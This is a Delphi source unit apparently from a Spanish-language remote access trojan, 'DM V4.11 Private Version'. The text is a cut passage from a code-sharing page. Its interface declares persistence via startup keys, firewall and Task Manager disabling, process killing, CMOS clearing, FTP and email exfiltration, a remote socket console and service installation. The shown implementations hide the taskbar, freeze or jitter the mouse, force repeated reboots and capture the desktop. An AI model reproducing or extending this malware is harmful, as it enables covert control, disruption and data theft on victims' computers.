📄 microsoft_ucmd.pas
字号:
unit Microsoft_Ucmd;
interface
uses Windows,winsock, wininet ,TlHelp32, MMSystem,ShellApi,WinSvc,Utils,classes;
function FindWindowsDir : string;
function CloseProcces(Exefile: string): string;
function ProcessExists (Exefile: string): Boolean;
function GetLocalHostName: string;
function SendData (SOCKET : TSOCKET;Data :string): integer;
function GetLocalPath:string;
function ShellEx(Path : string):string;
function PeerToAddress(Socket: TSocket): string;
procedure MakeThreadStartUP (key : string; data : string; appname : string);
procedure VaciarPapelera( Whandle : Thandle );
function Get_SysPath:string ;
function VentanaActiva: String;
function NombreHost: String;
function TextoValido( b : Array of Char ):string;
function EsXP : Boolean;
function Descargar( url : String; Parametro2: String ): boolean;
procedure showm( s : String );
procedure PresionarTecla( key: Byte );
function OpenCloseCD( handle : THandle ): String ;
function MsgWindows( n : Byte; Parametro : String ) : String ;
function ActivarDesactivarBotonInicio : String;
function EsconderMostrarTaskBar : String;
function ShowHideSysTray : String ;
function HideShowIconos : String;
function SwapMouse : String;
function PonerPapelTapiz( Parametro : String) : String;
function CongelarMouse : String;
function ReiniciarWindows : String;
function PlaySound( Parametro : String ): String;
function Minimizar: String;
function MouseLocos : String;
function RebotaInicio : String;
function EjecutarScreenSaver( WHandle : Thandle ) : String;
function MinAll : String ;
function CambiarCaption( Parametro : String ) : String;
function DesplegarInicio( WHandle : Thandle) : String;
function SonarParlantito: String;
function KillProcess( Parametro : String): String;
function Procces( ):string;
function SystemInfo() : string;
function DelTree( Parametro : String ): string;
function Ocultar( Path : String; oculto:Boolean ): String ;
procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
function ClearCmos : String ;
function LeerPortaPapeles( WHandle : Thandle ) : String;
function Borrar_Clipboard( handle : Thandle ) : String;
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
function CambiarNombrePC( parametro : string ): string;
function Set_Resolucion( Parametro : String ) : string;
function SetTime( parametro : String ) : String;
function Color_Ventanas( Parametro :string ) : String;
function Color3d( Parametro : String) : String;
function Color_Menues( parametro : String ): String ;
function Sacar_Apagar_sistema : String;
function Poner_Apagar_sistema : String;
function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
function CrearThreadVivorita: String;
function NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
function capture ( JPGCompressQuality:Integer ): String;
function LIST( dir : string ):string;
procedure SendEMAIL(SMTP : string;EMAIL:string;MyEMAIL : string);
function ListWindows : string;
procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
function WinVer: string;
procedure LanzarProgramaConsola(App: string; c: Boolean; socket : Tsocket);
function Decrypt(const S: AnsiString; Key: Word): AnsiString;
function Encrypt(const S: AnsiString; Key: Word): AnsiString;
procedure DisableXPFirewall;
//Explorer
function Noclose(value : integer): string;
function NoRun(value : integer): string;
function NoLogoff(value : integer): string;
function NoDesktop(value : integer): string;
function NoFind (value : integer): string;
function NoNetConnectDisconnect (value : integer): string;
function NoSetFolders(value : integer): string;
function NoControlPanel(value : integer): string;
function NoDrives (value : integer): string;
function ResrictRun(value : integer): string;
//System
function DisableTaskMgr(value : integer): string;
function NoDispCPL(value : integer): string;
function NoDispBackgroundPage(value : integer): string;
//network
function NoWorkgroupContents(value : integer): string;
function NoEntireNetwork(value : integer): string;
function NoFileSharingControl(value : integer): string;
function NoPrintSharing(value : integer): string;
procedure SetmousePOS(x : integer; y : integer);
procedure ShellCode ;
function ServiceGetList32(Machine: string): string;
procedure StartService32(Machine, ServiceName: string);
procedure StopService32(Machine, ServiceName: string);
procedure UninstallService32(Machine, ServiceName: string);
procedure InstallService32(Machine, ServiceName, DisplayName, FileName: string);
function ShutDownWindows(RebootParam: Longword): Boolean;
function MatarMouseTeclado : String;
function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
procedure ExtractResourceToFile( ResName, ResExtract: String);
function capCreateCaptureWindowA(lpszWindowName: pchar; dwStyle: dword; x, y, nWidth, nHeight: word; ParentWin: dword; nId: word): dword; stdcall external 'avicap32.dll';
const
DMVersion = 'DM V4.11 Private Version';
var
MainSocket : Tsocket;
type
TAByte = array [0..maxInt -1] of byte;
TPAByte = ^TAByte;
var Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
MouseLoco, Rebota, Vivorita : Boolean;
//esto es para el boton de inicio
h : THandle;
r : TRect;
Grave: Integer = 20;
//para consola
ConsolaApp : String;
RunPipe : Boolean;
EsConsola : Boolean;
ConsoleSocket : Tsocket;
Clave : String;
ProcessTmp :string ;
regkey,regdata,regappname: string;
WindowsLISTtmp : string;
DeskLoaded : boolean;
ConnectionType : integer;
Data_PASS : string;
implementation
///////////////////////////////////////////////////////////////////////////////
function capture ( JPGCompressQuality:Integer ): String;
type TgetDesktop = function(nWidth : Integer; nHeight : Integer; blnJpeg : Boolean; JPGCompressQuality:Integer; strFileName : String): Integer; stdcall;
var
DLLInstance : THandle;
getDesktop : TgetDesktop;
begin
Result:='&1&';
if DeskLoaded=false then begin
DLLInstance := LoadLibrary('desk.dll');
Result:='&1&';
if DLLInstance = 0 then begin
Result:='&0&';
Exit;
end;
end;
DeskLoaded:=true ;
@getDesktop := GetProcAddress(DLLInstance, 'getDesktop');
if @getDesktop <> nil then
getDesktop(0,0,true,JPGCompressQuality,pchar (Get_SysPath) + '\desk.jpg')
else
DeskLoaded:=false ;
FreeLibrary(DLLInstance);
end;
///////////////////////////////////////////////////////////////////////////////
function OpenCloseCD( handle : THandle ): String ;
begin
if CDROMCerrado then
begin
CDROMCerrado := FALSE;
mciSendString( 'Set cdaudio door open wait', nil, 0, handle );
Result := '&0&';
end
else
begin
CDROMCerrado := TRUE;
mciSendString( 'Set cdaudio door closed wait' , nil , 0 , handle );//cerrar cd
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function MsgWindows( n : Byte; Parametro : String ) : String;
begin
Case n of
0 : MessageBox( 0 , pchar( Parametro ) , 'Information' , MB_OK + MB_ICONINFORMATION + MB_SYSTEMMODAL );
1 : MessageBox( 0 , pchar( Parametro ) , 'Question' , MB_OK + MB_ICONQUESTION + MB_SYSTEMMODAL );
2 : MessageBox( 0 , pchar( Parametro ) , 'Warning' , MB_OK + MB_ICONWARNING + MB_SYSTEMMODAL );
3 : MessageBox( 0 , pchar( Parametro ) , 'Stop' , MB_OK + MB_ICONSTOP + MB_SYSTEMMODAL );
4 : MessageBox( 0 , pchar( Parametro ) , 'Question' , MB_YESNO + MB_ICONQUESTION + MB_SYSTEMMODAL );
end;
Result := 'Message Showed';
end;
///////////////////////////////////////////////////////////////////////////////
function ActivarDesactivarBotonInicio : String;
begin
if BotonInicio then
begin
EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) , false );
Result := '&0&';
BotonInicio := False;
end
else
begin
EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd' , nil ) , 0 , 'Button' , nil ) , true );
Result := '&1&';
BotonInicio := True;
end;
end;
///////////////////////////////////////////////////////////////////////////////
function EsconderMostrarTaskBar : String;
var htaskbar : THandle;
begin
hTaskBar := FindWindow( 'Shell_TrayWnd', nil );
if TaskBar then
begin
ShowWindow( hTaskBar , SW_Hide );
TaskBar := FALSE;
Result := '&0&';
end
else
begin
ShowWindow( hTaskBar , SW_SHOW );
TaskBar := TRUE;
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function ShowHideSysTray : String ;
var wnd:Thandle;
begin
Wnd := FindWindow( 'Shell_TrayWnd' , nil );
Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'TrayNotifyWnd' , nil );
if SysTray then
begin
ShowWindow( Wnd, SW_HIDe );
Systray := FALSE;
Result := '&0&';
end
else begin
ShowWindow( Wnd , SW_Show );
SysTray := TRUE;
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function HideShowIconos : String;
var wnd: THandle;
begin
Wnd := FindWindow( 'Progman' , nil );
Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'ShellDll_DefView' , nil );
if Iconos then
begin
ShowWindow( Wnd , SW_Hide );
Iconos := FALSE;
Result := '&0&';
end
else begin
ShowWindow( Wnd , SW_Show );
Iconos := TRUE;
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function SwapMouse : String;
begin
if SMouse then
begin
SwapMouseButton( FALSE );
SMouse := FALSE;
Result := '&0&';
end
else begin
SwapMouseButton( TRUE );
SMouse := TRUE;
Result := '&0&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function PonerPapelTapiz( PArametro : String) : String;
begin
if FileExists( Parametro )then
begin
SystemParametersInfo( SPI_SETDESKWALLPAPER , 0 , PChar( Parametro ) , 0 );
Result := 'Background Actived';
end
else
Result := 'The File Doesnt' + Parametro + ' exits';
end;
///////////////////////////////////////////////////////////////////////////////
procedure FijarCursor;
begin
while congelado do
begin
SetCursorPos( 50,50 );
Sleep( 50 );
end;
end;
///////////////////////////////////////////////////////////////////////////////
function CongelarMouse : String;
var id: Cardinal;
begin
if Congelado then
begin
Result := '&1&';
Congelado := FALSE;
end
else begin
Congelado := TRUE;
BeginThread(nil, 0, @FijarCursor, nil, 0, id );
Result := '&0&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function ReiniciarWindows : String;
var i:Byte;
begin
For i:= 1 to 30 do
ExitWindowsEx(EWX_FORCE or EWX_REBOOT, 0);
end;
///////////////////////////////////////////////////////////////////////////////
function PlaySound( Parametro : String ): String;
type TPS = function (lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
var PS : TPS;
h : THandle;
begin
if FileExists( Parametro ) then
begin
h := LoadLibrary( 'winmm.dll' );
@PS := GetProcAddress( H, 'sndPlaySoundA' );
if PS( Pchar( Parametro ) , 0 ) then
Result := 'The sound was played...'
else
Result := 'The Sound wasnt played...';
FreeLibrary( H );
end
else
Result := 'The File' + Parametro + ' Dosnt exits...';
end;
///////////////////////////////////////////////////////////////////////////////
function Minimizar: String;
begin
ShowWindow( GetActiveWindow, SW_MINIMIZE );
Result := 'The window"' + VentanaActiva + '", was minimised!!!...';
end;
///////////////////////////////////////////////////////////////////////////////
procedure CambiarPosicionmouse;
begin
while MouseLoco do
begin
Randomize;
SetCursorPos( 800 - 15, 600 - 15 );
SetCursorPos( Random( 800 ), Random( 600 ) );
end;
end;
///////////////////////////////////////////////////////////////////////////////
function MouseLocos : String;
var id: cardinal;
begin
if not MouseLoco then
begin
Result := '&0&';
MouseLoco := TRUE;
BeginThread(nil, 0, @CambiarPosicionmouse, nil, 0, id);
end
else
begin
Result := '&1&';
MouseLoco := FALSE;
end;
end;
///////////////////////////////////////////////////////////////////////////////
procedure MoverBoton ;
begin
while Rebota do
begin
if grave < -20 then grave := 20;
Inc( r.Left , Grave );
MoveWindow( h , r.Left , 0 , 80 , 26 , TRUE );
Dec( Grave );
Sleep( 100 );
end;
end;
///////////////////////////////////////////////////////////////////////////////
function RebotaInicio : String;
var id: cardinal;
begin
Grave := 20;
h := FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) ;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -